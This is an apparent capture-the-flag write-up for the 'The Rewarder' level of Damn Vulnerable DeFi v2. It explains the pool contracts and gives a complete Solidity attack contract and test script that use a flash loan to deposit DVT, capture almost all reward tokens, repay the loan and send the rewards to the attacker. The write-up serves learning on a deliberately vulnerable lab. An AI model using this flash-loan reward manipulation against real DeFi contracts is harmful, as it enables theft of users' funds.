05.The Rewarder
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

The Rewarder

analyse

the whole business as the following picture:

test file analyse

the the-rewarder.challenge.js ‘s code translate to words:

There’s a pool TheRewarderPooloffering rewards in tokens RewardTokenevery 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

in this level, u can pass the level by flashloan!

contract analyse

  • RewardToken:it is a normal ERC20 token
  • AccountingToken:it is an ERC20 token. It is used with The RewarderPool to better managing and controling the rewards.
  • FlashLoanerPool:a flashloan pool, we can flashloan some money to do something bad
  • TheRewarderPool:deposit, withdraw, allocate AccToken and RewardToken. It is the core Contract.

business analyse

From the picture I created, we can know the whole logic of this level:

  • DVT is a nornal ERC20 token, while FlashLoanerPool privides us to flashloan
  • RewardToken is the stuff we need to get. It is allocated by the TheRewarderPool, while TheRewardPool allocates RewardToken by the scale of the AccoutingToken
    • everyone deposits his DVT to RewarderPool will get AccountingToken
    • every 5 days, TheRewarderPool will give every participant some RewardToken: one’s contribute AccToken / all AccToken
    • in this formula and logic, the more u deposit, the more u get AccToken, the more u get RewardToken
  • So we can flashloan a lot of DVT to deposit, we will get the whole RewardToken(100). Why it is 100 ? they four also deposts 100 DVT to the TheRewarderPool. This is the reason: we deposit 1 million tokens DVT(the whole DVT in flashloanPool). Due to our token balance and thus our share of the overall tokens in the reward pool being so high, the integer division results in all other accounts receiving 0 rewards.

this is the receiveFlashLoan implementation, I have note the attack logic between the code.

The solution is the following:

  1. Wait 5 days and take a flash loan of DVT from the FlashLoanerPool,
  2. Deposit to the RewarderPool,
  3. Call distributeRewards to get RewardToken,
  4. Withdraw DVT
  5. Repay the loan.
  6. Send RewardToken to the attacker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function receiveFlashLoan(uint256 amount) external {
// Approve and deposit DVT to get reward tokens
// Approves and deposits the same amount of DVT to TheRewarderPool.
DVT.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);

// Withdraw DVT and pay flash loan back
// Withdraws the deposited amount to pay back the flash loan.
rewarderPool.withdraw(amount);
DVT.transfer(address(flashPool), amount);

//The withdrawRewards() function transfers all the reward token balance of RewarderAttacker to our attacker address.
rewardToken.transfer(owner, rewardToken.balanceOf(address(this)));
}

and in the test file, I have note the attack logic between the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// Travel through time (5 days)
await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])

// Deploy evil contract
const RewarderAttacker = await ethers.getContractFactory('RewarderAttacker', attacker)
this.rewarderAttacker = await RewarderAttacker.deploy(
this.flashLoanPool.address,
this.rewarderPool.address,
this.liquidityToken.address,
this.rewardToken.address
)

console.log(
'Attacker reward token balance before attack: ',
String(await this.rewardToken.balanceOf(attacker.address))
)

// Attack
await this.rewarderAttacker.connect(attacker).attack(TOKENS_IN_LENDER_POOL)

console.log(
'Attacker reward token balance after attack: ',
String(await this.rewardToken.balanceOf(attacker.address))
)
});

solution

  • RewarderAttacker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../the-rewarder/FlashLoanerPool.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/RewardToken.sol";
import "../DamnValuableToken.sol";

contract RewarderAttacker {
FlashLoanerPool immutable flashPool;
TheRewarderPool immutable rewarderPool;
DamnValuableToken immutable DVT;
RewardToken immutable rewardToken;
address immutable owner;

constructor(
address _flashPool,
address _rewarderPool,
address _dvt,
address _rewardToken
) {
flashPool = FlashLoanerPool(_flashPool);
rewarderPool = TheRewarderPool(_rewarderPool);
DVT = DamnValuableToken(_dvt);
rewardToken = RewardToken(_rewardToken);
owner = msg.sender;
}

function attack(uint256 amount) external {
require(owner == msg.sender);
flashPool.flashLoan(amount);
}

function receiveFlashLoan(uint256 amount) external {
// Approve and deposit DVT to get reward tokens
// Approves and deposits the same amount of DVT to TheRewarderPool.
DVT.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);

// Withdraw DVT and pay flash loan back
// Withdraws the deposited amount to pay back the flash loan.
rewarderPool.withdraw(amount);
DVT.transfer(address(flashPool), amount);

//The withdrawRewards() function transfers all the reward token balance of RewarderAttacker to our attacker address.
rewardToken.transfer(owner, rewardToken.balanceOf(address(this)));
}
}
  • test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// Travel through time (5 days)
await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])

// Deploy evil contract
const RewarderAttacker = await ethers.getContractFactory('RewarderAttacker', attacker)
this.rewarderAttacker = await RewarderAttacker.deploy(
this.flashLoanPool.address,
this.rewarderPool.address,
this.liquidityToken.address,
this.rewardToken.address
)

console.log(
'Attacker reward token balance before attack: ',
String(await this.rewardToken.balanceOf(attacker.address))
)

// Attack and withdraw
await this.rewarderAttacker.connect(attacker).attack(TOKENS_IN_LENDER_POOL)

console.log(
'Attacker reward token balance after attack: ',
String(await this.rewardToken.balanceOf(attacker.address))
)
});